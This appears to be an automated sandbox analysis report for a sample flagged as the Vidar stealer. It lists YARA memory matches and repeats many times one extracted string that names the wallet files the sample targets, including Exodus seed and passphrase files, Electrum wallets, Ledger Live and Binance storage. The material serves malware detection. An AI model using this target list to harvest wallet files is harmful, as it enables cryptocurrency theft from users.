Source: Yara match	File source: 00000000.00000003.1741284072.0000000004D50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2101784449.00000000009AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2102203891.0000000000E71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6336, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2102203891.0000000000F56000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2101784449.0000000000A28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
